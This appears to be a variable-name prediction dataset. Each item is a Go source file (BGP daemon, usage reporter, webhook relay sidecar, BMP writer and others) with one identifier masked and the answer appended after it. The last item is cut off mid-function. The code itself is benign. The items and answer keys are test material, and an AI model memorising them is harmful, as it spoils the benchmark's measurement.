csv:""orgs""` } //OrgAppUsage Single org usage type OrgAppUsage struct { OrganizationGUID string `json:""organization_guid"" csv:""organization_guid""` OrgName string `json:""organization_name"" csv:""organization_name""` PeriodStart time.Time `json:""period_start"" csv:""period_start""` PeriodEnd time.Time `json:""period_end"" csv:""period_end""` AppUsages []struct { SpaceGUID string `json:""space_guid"" csv:""space_guid""` SpaceName string `json:""space_name"" csv:""space_name""` AppName string `json:""app_name"" csv:""app_name""` AppGUID string `json:""app_guid"" csv:""app_guid""` InstanceCount int `json:""instance_count"" csv:""instance_count""` MemoryInMbPerInstance int `json:""memory_in_mb_per_instance"" csv:""memory_in_mb_per_instance""` DurationInSeconds int `json:""duration_in_seconds"" csv:""duration_in_seconds""` } `json:""app_usages"" csv:""app_usages""` } // FlattenAppUsage flattened data for simple response with repeated org info type FlattenAppUsage struct { Orgs []FlattenOrgAppUsage `json:""app_usages"" csv:""app_usages""` } // FlattenOrgAppUsage flattened data for simple response usage type FlattenOrgAppUsage struct { OrganizationGUID string `json:""organization_guid"" csv:""organization_guid""` OrgName string `json:""organization_name"" csv:""organization_name""` PeriodStart time.Time `json:""period_start"" csv:""period_start""` PeriodEnd time.Time `json:""period_end"" csv:""period_end""` SpaceGUID string `json:""space_guid"" csv:""space_guid""` SpaceName string `json:""space_name"" csv:""space_name""` AppName string `json:""app_name"" csv:""app_name""` AppGUID string `json:""app_guid"" csv:""app_guid""` InstanceCount int `json:""instance_count"" csv:""instance_count""` MemoryInMbPerInstance int `json:""memory_in_mb_per_instance"" csv:""memory_in_mb_per_instance""` DurationInSeconds int `json:""duration_in_seconds"" csv:""duration_in_seconds""` } // handles report formatting if CSV is specified func appReportFormatter(c echo.Context, usageReport *FlattenAppUsage) error { var format = strings.ToLower(c.QueryParam(""format"")) if format == ""csv"" { fmt.Println(""csv output requested"") b, err := csvutil.Marshal(usageReport.Orgs) if err != nil { fmt.Println(""error:"", err) } return c.String(http.StatusOK, string(b)) } else { return c.JSON(http.StatusOK, usageReport) } } // AppUsageReportByRange handle a start and end date in the call // /app-usage?start=2017-11-01&end=2017-11-03 func AppUsageReportByRange(c echo.Context) error { // format the date range fmt.Println(""Start date is '"" + c.QueryParam(""start"") + ""'"") start, err := time.Parse(dateFormat, c.QueryParam(""start"")) if err != nil { return stacktrace.Propagate(err, ""Improper start date provided in the URL"") } end, err := time.Parse(dateFormat, c.QueryParam(""end"")) if err != nil { return stacktrace.Propagate(err, ""Improper end date provided in the URL"") } // format the start and end string dateRange := GenDateRange(start, end) fmt.Println(""Date range is "", dateRange) // Generate the report for all orgs usageReport, err := GenAppUsageReport(cfClient, dateRange) if err != nil { return stacktrace.Propagate(err, ""Couldn't get app usage report for yesterday"") } // return report return appReportFormatter(c, usageReport) } // AppUsageReportForToday handles the static nature of Apptio's Datalink // in order to gather app usage data for the previous day func AppUsageReportForToday(c echo.Context) error { // format the date range dateToday := time.Now().Local() // format the start and end string dateRange := GenDateRange(dateToday, dateToday) fmt.Println(""Date range is "", dateRange) // Generate the report for all orgs usageReport, err := GenAppUsageReport(cfClient, dateRange) if err != nil { return stacktrace.Propagate(err, ""Couldn't get app usage report for yesterday"") } // return report return appReportFormatter(c, usageReport) } // AppUsageReportForYesterday handles the static nature of Apptio's Datalink // in order to gather app usage data for the previous day func AppUsageReportForYesterday(c echo.Context) error { // format the date range dateToday := time.Now().Local() dateYesterday := dateToday.AddDate(0, 0, -1) // format the start and end string dateRange := GenDateRange(dateYesterday, dateYesterday) fmt.Println(""Date range is "", dateRange) // Generate the report for all orgs usageReport, err := GenAppUsageReport(cfClient, dateRange) if err != nil { return stacktrace.Propagate(err, ""Couldn't get app usage report for yesterday"") } // return report return appReportFormatter(c, usageReport) } // AppUsageReportForMonth handles the app-usage call validating the date // and executing the report creation func AppUsageReportForMonth(c echo.Context) error { // first day of month and today's date dateToday := time.Now().Local() [MASK] , currentMonth, _ := dateToday.Date() currentLocation := dateToday.Location() firstOfMonth := time.Date( [MASK] , currentMonth, 1, 0, 0, 0, 0, currentLocation) // format the start and end string dateRange := GenDateRange(firstOfMonth, dateToday) fmt.Println(""Date range is "", dateRange) // Generate the report for all orgs usageReport, err := GenAppUsageReport(cfClient, dateRange) if err != nil { return stacktrace.Propagate(err, ""Couldn't get app usage report for yesterday"") } // return report return appReportFormatter(c, usageReport) } // GenAppUsageReport pulls the entire report together func GenAppUsageReport(client *cfclient.Client, dateRange string) (*FlattenAppUsage, error) { // get a list of orgs within the foundation orgs, err := client.ListOrgs() if err != nil { return nil, stacktrace.Propagate(err, ""Failed getting list of orgs using client: %v"", client) } report := AppUsage{} token, err := client.GetToken() if err != nil { return nil, stacktrace.Propagate(err, ""Failed getting token using client: %v"", client) } // loop through orgs and get app usage report for each for _, org := range orgs { orgUsage, err := AppUsageForOrg(token, org, dateRange) if err != nil { return nil, stacktrace.Propagate(err, ""Failed getting app usage for org: ""+org.Name) } orgUsage.OrgName = org.Name report.Orgs = append(report.Orgs, *orgUsage) } // flatten the complexity of report for ease of consumption flatReport, err := GetFlattenedAppOutput(&report) if err != nil { return nil, stacktrace.Propagate(err, ""Couldn't get app usage report"") } return &flatReport, nil } // AppUsageForOrg queries apps manager app_usages API for the orgs app usage information func AppUsageForOrg(token string, org cfclient.Org, dateRange string) (*OrgAppUsage, error) { usageAPI := os.Getenv(""CF_USAGE_API"") target := &OrgAppUsage{} request := gorequest.New() resp, _, err := request.Get(usageAPI+""/organizations/""+org.Guid+""/app_usages?""+dateRange). Set(""Authorization"", token).TLSClientConfig(&tls.Config{InsecureSkipVerify: cfSkipSsl}). EndStruct(&target) if err != nil { return nil, stacktrace.Propagate(err[0], ""Failed to get app usage report %v"", org) } if resp.StatusCode != 200 { return nil, stacktrace.NewError(""Failed getting app usage report %v"", resp) } return target, nil } // GetFlattenedAppOutput convert formatting to flattened output func GetFlattenedAppOutput(usageReport *AppUsage) (FlattenAppUsage, error) { var flatUsage FlattenAppUsage for _, orgs := range usageReport.Orgs { for _, app := range orgs.AppUsages { appusage := FlattenOrgAppUsage{ OrganizationGUID: orgs.OrganizationGUID, OrgName: orgs.OrgName, PeriodStart: orgs.PeriodStart, PeriodEnd: orgs.PeriodEnd, SpaceGUID: app.SpaceGUID, SpaceName: app.SpaceName, AppName: app.AppName, AppGUID: app.AppGUID, InstanceCount: app.InstanceCount, MemoryInMbPerInstance: app.MemoryInMbPerInstance, DurationInSeconds: app.DurationInSeconds, } flatUsage.Orgs = append(flatUsage.Orgs, appusage) } } return flatUsage, nil } ",currentYear 661,"// // Copyright (C) 2014-2017 Nippon Telegraph and Telephone Corporation. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or // implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""fmt"" ""io/ioutil"" ""net/http"" _ ""net/http/pprof"" ""os"" ""os/signal"" ""runtime"" ""syscall"" ""github.com/coreos/go-systemd/v22/daemon"" ""github.com/jessevdk/go-flags"" ""github.com/kr/pretty"" ""github.com/sirupsen/logrus"" ""golang.org/x/net/context"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" ""github.com/osrg/gobgp/v3/internal/pkg/version"" ""github.com/osrg/gobgp/v3/pkg/config"" ""github.com/osrg/gobgp/v3/pkg/server"" ) var logger = logrus.New() func main() { sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGTERM, syscall.SIGINT) var opts struct { ConfigFile string `short:""f"" long:""config-file"" description:""specifying a config file""` ConfigType string `short:""t"" long:""config-type"" description:""specifying config type (toml, yaml, json)"" default:""toml""` LogLevel string `short:""l"" long:""log-level"" description:""specifying log level""` LogPlain bool `short:""p"" long:""log-plain"" description:""use plain format for logging (json by default)""` UseSyslog string `short:""s"" long:""syslog"" description:""use syslogd""` Facility string `long:""syslog-facility"" description:""specify syslog facility""` DisableStdlog bool `long:""disable-stdlog"" description:""disable standard logging""` CPUs int `long:""cpus"" description:""specify the number of CPUs to be used""` GrpcHosts string `long:""api-hosts"" description:""specify the hosts that gobgpd listens on"" default:"":50051""` GracefulRestart bool `short:""r"" long:""graceful-restart"" description:""flag restart-state in graceful-restart capability""` Dry bool `short:""d"" long:""dry-run"" description:""check configuration""` PProfHost string `long:""pprof-host"" description:""specify the host that gobgpd listens on for pprof"" default:""localhost:6060""` PProfDisable bool `long:""pprof-disable"" description:""disable pprof profiling""` UseSdNotify bool `long:""sdnotify"" description:""use sd_notify protocol""` TLS bool `long:""tls"" description:""enable TLS authentication for gRPC API""` TLSCertFile string `long:""tls-cert-file"" description:""The TLS cert file""` TLSKeyFile string `long:""tls-key-file"" description:""The TLS key file""` Version bool `long:""version"" description:""show version number""` } _, err := flags.Parse(&opts) if err != nil { os.Exit(1) } if opts.Version { fmt.Println(""gobgpd version"", version.Version()) os.Exit(0) } if opts.CPUs == 0 { runtime.GOMAXPROCS(runtime.NumCPU()) } else { if runtime.NumCPU() < opts.CPUs { logger.Errorf(""Only %d CPUs are available but %d is specified"", runtime.NumCPU(), opts.CPUs) os.Exit(1) } runtime.GOMAXPROCS(opts.CPUs) } if !opts.PProfDisable { go func() { logger.Println(http.ListenAndServe(opts.PProfHost, nil)) }() } switch opts.LogLevel { case ""debug"": logger.SetLevel(logrus.DebugLevel) case ""info"": logger.SetLevel(logrus.InfoLevel) default: logger.SetLevel(logrus.InfoLevel) } if opts.DisableStdlog { logger.SetOutput(ioutil.Discard) } else { logger.SetOutput(os.Stdout) } if opts.UseSyslog != """" { if err := addSyslogHook(opts.UseSyslog, opts.Facility); err != nil { logger.Error(""Unable to connect to syslog daemon, "", opts.UseSyslog) } } if opts.LogPlain { if opts.DisableStdlog { logger.SetFormatter(&logrus.TextFormatter{ DisableColors: true, }) } } else { logger.SetFormatter(&logrus.JSONFormatter{}) } if opts.Dry { c, err := config.ReadConfigFile(opts.ConfigFile, opts.ConfigType) if err != nil { logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", ""Error"": err, }).Fatalf(""Can't read config file %s"", opts.ConfigFile) } logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", }).Info(""Finished reading the config file"") if opts.LogLevel == ""debug"" { pretty.Println(c) } os.Exit(0) } maxSize := 256 << 20 grpcOpts := []grpc.ServerOption{grpc.MaxRecvMsgSize(maxSize), grpc.MaxSendMsgSize(maxSize)} if opts.TLS { creds, err := credentials.NewServerTLSFromFile(opts.TLSCertFile, opts.TLSKeyFile) if err != nil { logger.Fatalf(""Failed to generate credentials: %v"", err) } grpcOpts = append(grpcOpts, grpc.Creds(creds)) } logger.Info(""gobgpd started"") bgpServer := server.NewBgpServer(server.GrpcListenAddress(opts.GrpcHosts), server.GrpcOption(grpcOpts), server.LoggerOption(&builtinLogger{logger: logger})) go bgpServer.Serve() if opts.UseSdNotify { if status, err := daemon.SdNotify(false, daemon.SdNotifyReady); !status { if err != nil { logger.Warnf(""Failed to send notification via sd_notify(): %s"", err) } else { logger.Warnf(""The socket sd_notify() isn't available"") } } } if opts.ConfigFile == """" { <-sigCh stopServer(bgpServer, opts.UseSdNotify) return } signal.Notify(sigCh, syscall.SIGHUP) initialConfig, err := config.ReadConfigFile(opts.ConfigFile, opts.ConfigType) if err != nil { logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", ""Error"": err, }).Fatalf(""Can't read config file %s"", opts.ConfigFile) } logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", }).Info(""Finished reading the config file"") currentConfig, err := config.InitialConfig(context.Background(), bgpServer, initialConfig, opts.GracefulRestart) if err != nil { logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", ""Error"": err, }).Fatalf(""Failed to apply initial configuration %s"", opts.ConfigFile) } for sig := range sigCh { if sig != syscall.SIGHUP { stopServer(bgpServer, opts.UseSdNotify) return } logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", }).Info(""Reload the config file"") newConfig, err := config.ReadConfigFile(opts.ConfigFile, opts.ConfigType) if err != nil { logger.WithFields(logrus.Fields{ ""Topic"": ""Config"", ""Error"": err, }).Warningf(""Can't read config file %s"", opts.ConfigFile) continue } currentConfig, err = config.UpdateConfig(context.Background(), bgpServer, currentConfig, newConfig) if err != nil { logrus.WithFields(logrus.Fields{ ""Topic"": ""Config"", ""Error"": err, }).Warningf(""Failed to update config %s"", opts.ConfigFile) continue } } } func stopServer(bgpServer *server.BgpServer, [MASK] bool) { logger.Info(""stopping gobgpd server"") bgpServer.Stop() if [MASK] { daemon.SdNotify(false, daemon.SdNotifyStopping) } } ",useSdNotify 662,"// * description: create bmp file // *******************************************************/ package main import ( ""encoding/binary"" ""fmt"" ""os"" ""strconv"" ""unsafe"" // ""bufio"" // ""io"" // ""io/ioutil"" ) // bmp RGB type BitmapRGB struct { Blue uint8 Green uint8 Red uint8 } // bmp info header type BitmapInfoHeader struct { Size uint32; Width int32; Height int32; Places uint16; BitCount uint16; Compression uint32; SizeImage uint32; XperlsPerMeter int32; YperlsPerMeter int32; ClsrUsed uint32; ClrImportant uint32; } // bmp file header type BitmapFileHeader struct{ Type uint16; } // bmp file header2 type BitmapFileHeader2 struct{ Size uint32; Reserved1 uint16; Reserved2 uint16; OffBits uint32; } func check(e error) { if e != nil { panic(e) } } // check file is existed func checkFileIsExist(filename string) bool { var exist = true if _, err := os.Stat(filename); os.IsNotExist(err) { exist = false } return exist } func main() { //fmt.Println(argc) var index = 0; var fileName = ""test2.bmp""; var fileName2 = ""test.bmp""; var width = 1920; var height = 1080; var bit = 3; var red = 255; var green = 255; var blue = 255; var [MASK] = ""12345""; var strBlue = ""255"" var strGreen = ""255"" var strRed = ""255"" fmt.Println(""main start, para info:""); for idx, args := range os.Args{ fmt.Println(""para"" + strconv.Itoa(idx) + "":"", args); index = index + 1; } fmt.Println(""index: "" + strconv.Itoa(index)) // check input commands if index < 8{ fmt.Println(""please input like this:""); fmt.Println(""./testbmp test.bmp 3 1920 1080 255 255 255""); fmt.Println(""test.bmp ------ bmp file name""); fmt.Println(""3 ------ 3 bytes RGB ""); fmt.Println(""1920 ------ bmp width ""); fmt.Println(""1080 ------ bmp height ""); fmt.Println(""255 ------ Blue ""); fmt.Println(""255 ------ Green ""); fmt.Println(""255 ------ Red ""); return; } fileName2 = os.Args[1]; [MASK] = os.Args[2] bit,err1 := strconv.Atoi( [MASK] ) if(err1 != nil){ fmt.Println(""error1 happened ,exit"") return } width,err2 := strconv.Atoi(os.Args[3]) if(err2 != nil){ fmt.Println(""error2 happened ,exit"") return } height,err3 := strconv.Atoi(os.Args[4]) if(err3 != nil){ fmt.Println(""error3 happened ,exit"") return } blue,err4 := strconv.Atoi(os.Args[5]) if(err4 != nil){ fmt.Println(""error4 happened ,exit"") return } green,err5 := strconv.Atoi(os.Args[6]) if(err5 != nil){ fmt.Println(""error5 happened ,exit"") return } red,err6 := strconv.Atoi(os.Args[7]) if(err6 != nil){ fmt.Println(""error6 happened ,exit"") return } strBlue = os.Args[5] strGreen = os.Args[6] strRed = os.Args[7] fmt.Println(""fileName : "" + fileName) fmt.Println(""bit : "" + strconv.Itoa(bit)) fmt.Println(""width : "" + strconv.Itoa(width)) fmt.Println(""height : "" + strconv.Itoa(height)) fmt.Println(""blue : "" + strconv.Itoa(blue)) fmt.Println(""green : "" + strconv.Itoa(green)) fmt.Println(""red : "" + strconv.Itoa(red)) fmt.Println(""strBlue : "" + strBlue) fmt.Println(""strGreen : "" + strGreen) fmt.Println(""strRed : "" + strRed) var err error; var file2 *os.File; /* var file *os.File; if checkFileIsExist(fileName){ file, err = os.OpenFile(fileName, os.O_APPEND, 0666) //open file if err != nil { fmt.Println(err) return } fmt.Println(""file is exist"") } else { file, err = os.Create(fileName) //create file fmt.Println(""file is not exist"") } defer file.Close() //var headA, headB byte //binary.Read(file, binary.LittleEndian, &headA) //binary.Read(file, binary.LittleEndian, &headB) binary.Read(file, binary.LittleEndian, &bmpFileHeader) fmt.Println(bmpFileHeader) //var size uint32 //binary.Read(file, binary.LittleEndian, &size) binary.Read(file, binary.LittleEndian, &bmpFileHeader2) //var reservedA, reservedB uint16 //binary.Read(file, binary.LittleEndian, &reservedA) //binary.Read(file, binary.LittleEndian, &reservedB) //binary.Read(file, binary.LittleEndian, &bmpFileHeader2.Reserved1) //binary.Read(file, binary.LittleEndian, &bmpFileHeader2.Reserved2) //var offbits uint32 //binary.Read(file, binary.LittleEndian, &offbits) //binary.Read(file, binary.LittleEndian, &bmpFileHeader2.OffBits) //fmt.Println(headA, headB, size, reservedA, reservedB, offbits) fmt.Println(bmpFileHeader2) infoHeader := new(BitmapInfoHeader) fmt.Println(""infoHeader size:"", unsafe.Sizeof(infoHeader)) fmt.Println(""infoHeader2 size:"", unsafe.Sizeof(infoHeader2)) binary.Read(file, binary.LittleEndian, infoHeader) binary.Read(file, binary.LittleEndian, &infoHeader2) fmt.Println(infoHeader) fmt.Println(infoHeader2) file.Sync(); file.Close(); //*/ //* if checkFileIsExist(fileName2){ file2, err = os.OpenFile(fileName2, os.O_APPEND, 0666) //open file if err != nil { fmt.Println(err) return } fmt.Println(""file is exist"") } else { file2, err = os.Create(fileName2) //create file fmt.Println(""file is not exist"") } defer file2.Close() //*/ bmpFileHeader := BitmapFileHeader{}; fmt.Println(""bmpFileHeader size:"", unsafe.Sizeof(bmpFileHeader)) bmpFileHeader2 := BitmapFileHeader2{}; fmt.Println(""bmpFileHeader2 size:"", unsafe.Sizeof(bmpFileHeader2)) infoHeader2 := BitmapInfoHeader{} bmpFileHeader.Type = 19778; bmpFileHeader2.Size = uint32(width) * uint32(height) * uint32(bit) + 54;//6220854; bmpFileHeader2.Reserved1 = 0; bmpFileHeader2.Reserved2 = 0; bmpFileHeader2.OffBits = 54; binary.Write(file2,binary.LittleEndian, bmpFileHeader) binary.Write(file2,binary.LittleEndian, bmpFileHeader2) infoHeader2.Size = uint32(40); // fmt.Println(""size : "" + strconv.Itoa(int(infoHeader2.Size))) infoHeader2.Width = int32(width); infoHeader2.Height = int32(height); infoHeader2.Places = 1; infoHeader2.BitCount = uint16(bit*8); infoHeader2.Compression = 0; infoHeader2.SizeImage = 0; infoHeader2.XperlsPerMeter = 3780; infoHeader2.YperlsPerMeter = 3780; infoHeader2.ClsrUsed = 0; infoHeader2.ClrImportant = 0; fmt.Println(infoHeader2) binary.Write(file2,binary.LittleEndian, infoHeader2) // write file //var d1 = []byte(""123"") //n2, err3 := file.Write(d1) // write file //fmt.Println(n2); //binary.Write(file2,binary.LittleEndian, d1) BitmapRGBData := BitmapRGB{uint8(blue),uint8(green),uint8(red)}; fmt.Println(BitmapRGBData); for i := 0; i < height; i++ { for j := 0; j < width; j++ { binary.Write(file2,binary.LittleEndian, BitmapRGBData) } } file2.Sync(); file2.Close(); } ",valueTmp 663,"package ast import ( ""path"" ""testing"" ""github.com/open-policy-agent/opa/util/test"" ) func TestParserCatchesIllegalCapabilities(t *testing.T) { var opts ParserOptions opts.Capabilities = &Capabilities{ FutureKeywords: []string{""deadbeef""}, } _, _, err := ParseStatementsWithOpts(""test.rego"", ""true"", opts) if err == nil { t.Fatal(""expected error"") } else if errs, ok := err.(Errors); !ok || len(errs) != 1 { t.Fatal(""expected exactly one error but got:"", err) } else if errs[0].Code != ParseErr || errs[0].Message != ""illegal capabilities: unknown keyword: deadbeef"" { t.Fatal(""unexpected error:"", err) } } func TestParserCatchesIllegalFutureKeywordsBasedOnCapabilities(t *testing.T) { var opts ParserOptions opts.Capabilities = CapabilitiesForThisVersion() opts.FutureKeywords = []string{""deadbeef""} _, _, err := ParseStatementsWithOpts(""test.rego"", ""true"", opts) if err == nil { t.Fatal(""expected error"") } else if errs, ok := err.(Errors); !ok || len(errs) != 1 { t.Fatal(""expected exactly one error but got:"", err) } else if errs[0].Code != ParseErr || errs[0].Message != ""unknown future keyword: deadbeef"" { t.Fatal(""unexpected error:"", err) } } func TestParserCapabilitiesWithSpecificOptInAndOlderOPA(t *testing.T) { src := ` package test import future.keywords.in p { 1 in [3,2,1] } ` var opts ParserOptions opts.Capabilities = &Capabilities{} _, err := ParseModuleWithOpts(""test.rego"", src, opts) if err == nil { t.Fatal(""expected error"") } else if errs, ok := err.(Errors); !ok || len(errs) != 1 { t.Fatal(""expected exactly one error but got:"", err) } else if errs[0].Code != ParseErr || errs[0].Location.Row != 4 || errs[0].Message != ""unexpected keyword, must be one of []"" { t.Fatal(""unexpected error:"", err) } } func TestParserCapabilitiesWithWildcardOptInAndOlderOPA(t *testing.T) { src := ` package test import future.keywords p { 1 in [3,2,1] } ` var opts ParserOptions opts.Capabilities = &Capabilities{} _, err := ParseModuleWithOpts(""test.rego"", src, opts) if err == nil { t.Fatal(""expected error"") } else if errs, ok := err.(Errors); !ok || len(errs) != 1 { t.Fatal(""expected exactly one error but got:"", err) } else if errs[0].Code != ParseErr || errs[0].Location.Row != 7 || errs[0].Message != ""unexpected ident token: expected \\n or ; or }"" { t.Fatal(""unexpected error:"", err) } } func TestLoadCapabilitiesVersion(t *testing.T) { capabilitiesVersions, err := LoadCapabilitiesVersions() if err != nil { t.Fatal(""expected success"", err) } if len(capabilitiesVersions) == 0 { t.Fatal(""expected a non-empty array of capabilities versions"") } for _, cv := range capabilitiesVersions { if _, err := LoadCapabilitiesVersion(cv); err != nil { t.Fatal(""expected success"", err) } } } func TestLoadCapabilitiesFile(t *testing.T) { [MASK] := map[string]string{ ""test-capabilities.json"": ` { ""builtins"": [] } `, } test.WithTempFS( [MASK] , func(root string) { _, err := LoadCapabilitiesFile(path.Join(root, ""test-capabilities.json"")) if err != nil { t.Fatal(""expected success"", err) } }) } ",files 664,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""io"" ""log"" ""net/http"" ""net/http/httputil"" ""net/url"" ""os"" ""sync"" ""time"" ""github.com/google/uuid"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) var ( // --- Configuration from Environment Variables --- downstreamServiceURL string smeeChannelURL string // --- Prometheus Metrics --- forwardAttempts = prometheus.NewCounter( prometheus.CounterOpts{ Name: ""smee_events_relayed_total"", Help: ""Total number of regular events relayed by the sidecar."", }, ) // --- Shared State for Health Checks --- healthCheckIDs = make(map[string]bool) mutex = &sync.Mutex{} // We will initialize this in main() after parsing the downstream URL. proxy *httputil.ReverseProxy ) // HealthCheckPayload defines the structure of our self-test event type HealthCheckPayload struct { Type string `json:""type""` ID string `json:""id""` } // forwardHandler is now much simpler. func forwardHandler(w http.ResponseWriter, r *http.Request) { // We still need to check for our internal health check events first. // Since this requires reading the body, we'll read it here and then // pass it along to the proxy if it's a regular event. body, err := io.ReadAll(r.Body) if err != nil { log.Printf(""Error reading request body: %v"", err) http.Error(w, ""cannot read request body"", http.StatusInternalServerError) return } defer r.Body.Close() var healthCheck HealthCheckPayload if r.Header.Get(""Content-Type"") == ""application/json"" { if json.Unmarshal(body, &healthCheck) == nil && healthCheck.Type == ""health-check"" { // It's a health check. Handle it and exit. mutex.Lock() healthCheckIDs[healthCheck.ID] = true mutex.Unlock() log.Printf(""Received health check event with ID: %s"", healthCheck.ID) w.WriteHeader(http.StatusOK) w.Write([]byte(""Health check received"")) return } } // If we got here, it's a regular event. forwardAttempts.Inc() log.Printf(""Relaying regular event via ReverseProxy to downstream service"") // We need to put the body back on the request for the proxy to read it. r.Body = io.NopCloser(bytes.NewReader(body)) // --- Let the ReverseProxy do all the hard work --- proxy.ServeHTTP(w, r) } // runHealthCheckLoop has the corrected loop structure func runHealthCheckLoop() { ticker := time.NewTicker(30 * time.Second) defer ticker.Stop() healthFilePath := ""/tmp/health/live"" // Define the check logic as a local function to avoid repetition runCheck := func() { log.Println(""Health Check: Running self-test..."") testID := uuid.New().String() payload := HealthCheckPayload{Type: ""health-check"", ID: testID} [MASK] , _ := json.Marshal(payload) // 1. Post the test event req, err := http.NewRequestWithContext(context.Background(), ""POST"", smeeChannelURL, bytes.NewBuffer( [MASK] )) if err != nil { log.Printf(""Health Check Loop Error: could not create request: %v"", err) return // Exit this check run } req.Header.Set(""Content-Type"", ""application/json"") // Important: Create a new client for each check to avoid issues with proxies and TLS client := &http.Client{Timeout: 5 * time.Second} if _, err = client.Do(req); err != nil { log.Printf(""Health Check Loop Error: could not post to Smee server: %v"", err) os.Remove(healthFilePath) // If we can't even post, remove the file to signal failure return } // 2. Wait up to 20 seconds for the event to be received ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) defer cancel() found := false checkLoop: for { select { case <-ctx.Done(): // Timeout reached break checkLoop default: mutex.Lock() if healthCheckIDs[testID] { delete(healthCheckIDs, testID) found = true } mutex.Unlock() if found { break checkLoop } time.Sleep(100 * time.Millisecond) } } // 3. Update the shared health file based on the result if found { log.Println(""Health Check: PASSED. Updating heartbeat file with current timestamp."") timestamp := fmt.Sprintf(""%d"", time.Now().Unix()) if err := os.WriteFile(healthFilePath, []byte(timestamp), 0644); err != nil { log.Printf(""Health Check Warning: could not write to heartbeat file: %v"", err) } } else { log.Println(""Health Check: FAILED. Removing heartbeat file to trigger probe failure."") os.Remove(healthFilePath) } } // --- This is the corrected loop structure --- // Run the check once immediately on startup. runCheck() // Then, run it again on every tick from the ticker's channel. for range ticker.C { runCheck() } } func main() { log.Println(""Starting Smee instrumentation sidecar..."") // --- Load Configuration --- downstreamServiceURL := os.Getenv(""DOWNSTREAM_SERVICE_URL"") // Make it a local variable smeeChannelURL = os.Getenv(""SMEE_CHANNEL_URL"") if downstreamServiceURL == """" || smeeChannelURL == """" { log.Fatal(""FATAL: DOWNSTREAM_SERVICE_URL and SMEE_CHANNEL_URL environment variables must be set."") } // --- NEW: Initialize the ReverseProxy --- downstreamURL, err := url.Parse(downstreamServiceURL) if err != nil { log.Fatalf(""FATAL: Could not parse DOWNSTREAM_SERVICE_URL: %v"", err) } proxy = httputil.NewSingleHostReverseProxy(downstreamURL) // --- End of new section --- // --- Register Prometheus Metrics --- prometheus.MustRegister(forwardAttempts) // --- Start the background health check loop --- go runHealthCheckLoop() // --- Start Relay Server --- relayMux := http.NewServeMux() relayMux.HandleFunc(""/"", forwardHandler) go func() { log.Println(""Relay server listening on :8080"") if err := http.ListenAndServe("":8080"", relayMux); err != nil { log.Fatalf(""FATAL: Relay server failed: %v"", err) } }() // --- Start Management Server --- mgmtMux := http.NewServeMux() mgmtMux.Handle(""/metrics"", promhttp.Handler()) go func() { log.Println(""Management server (metrics) listening on :9100"") if err := http.ListenAndServe("":9100"", mgmtMux); err != nil { log.Fatalf(""FATAL: Management server failed: %v"", err) } }() // Keep the main goroutine alive forever select {} } ",payloadBytes 665,"package http import ( ""encoding/json"" ""log"" ""net/http"" ""strings"" ) type statusHandler struct { *Server } func (h *statusHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if !strings.EqualFold(r.Method, http.MethodGet) { w.WriteHeader(http.StatusMethodNotAllowed) return } [MASK] := h.GetStat() status, err := json.Marshal( [MASK] ) if err != nil { log.Printf(""failed to marshal cache.Stat[stat=%+v] to []byte, error: %s"", [MASK] , err.Error()) w.WriteHeader(http.StatusInternalServerError) return } w.WriteHeader(http.StatusOK) if _, err := w.Write(status); err != nil { log.Printf(""failed to write status data[status=%+v] to response, error: %s"", [MASK] , err.Error()) w.WriteHeader(http.StatusInternalServerError) return } } func (s *Server) statusHandler() http.Handler { return &statusHandler{s} } ",cacheStat 666,"package main import ( ""context"" ""flag"" ""log"" ""os"" ""github.com/kevensen/gollama-bubbletea/internal/bot"" ""github.com/kevensen/gollama-bubbletea/internal/tools"" _ ""github.com/kevensen/gollama-bubbletea/internal/tools/adder"" _ ""github.com/kevensen/gollama-bubbletea/internal/tools/motd"" ""github.com/kevensen/gollama-bubbletea/internal/tui"" tea ""github.com/charmbracelet/bubbletea"" ) func main() { ctx := context.Background() [MASK] := flag.String(""ollama_host"", """", ""The host for Ollama"") ollamaPort := flag.String(""ollama_port"", """", ""The port for Ollama"") ollamaModel := flag.String(""ollama_model"", ""tinyllama:latest"", ""The model for Ollama"") flag.Parse() if * [MASK] == """" { * [MASK] = os.Getenv(""OLLAMA_HOST"") } if * [MASK] == """" { log.Fatal(""OLLAMA_HOST environment variable or flag is required"") } if *ollamaPort == """" { *ollamaPort = os.Getenv(""OLLAMA_PORT"") } if *ollamaPort == """" { log.Fatal(""OLLAMA_PORT environment variable or flag is required"") } ollamaAddr := * [MASK] + "":"" + *ollamaPort b, err := bot.NewBot(ctx, ollamaAddr, *ollamaModel, tools.Registered()) if err != nil { log.Fatalf(""Failed to create bot: %v"", err) } t := tui.New(b) p := tea.NewProgram(t) if err := p.Start(); err != nil { panic(err) } } ",ollamaHost 667,"package main import ( ""embed"" ""encoding/json"" ""fmt"" ""io"" ""io/fs"" ""log"" ""net/http"" ""os/exec"" ) const pactl = ""pactl"" const setSinkVolume = ""set-sink-volume"" const upStep = ""+10%"" const downStep = ""-10%"" //go:embed static/* var static embed.FS func main() { // strip the ""static"" prefix from the file server fsDir, err := fs.Sub(static, ""static"") if err != nil { log.Fatal(""error getting static content"", err) } // Create file server [MASK] := http.FileServer(http.FS(fsDir)) // Routing mux := http.NewServeMux() mux.Handle(""/"", [MASK] ) mux.HandleFunc(""/vol"", volHandler) mux.HandleFunc(""/play"", playHandler) // Start server log.Println(""Listening on :8080..."") log.Fatal(http.ListenAndServe("":8080"", mux)) } type VolumeAdjustment struct { Direction string `json:""direction""` Amount int `json:""amount""` } func volHandler(w http.ResponseWriter, r *http.Request) { var volume VolumeAdjustment b, err := io.ReadAll(r.Body) if err != nil { http.Error(w, 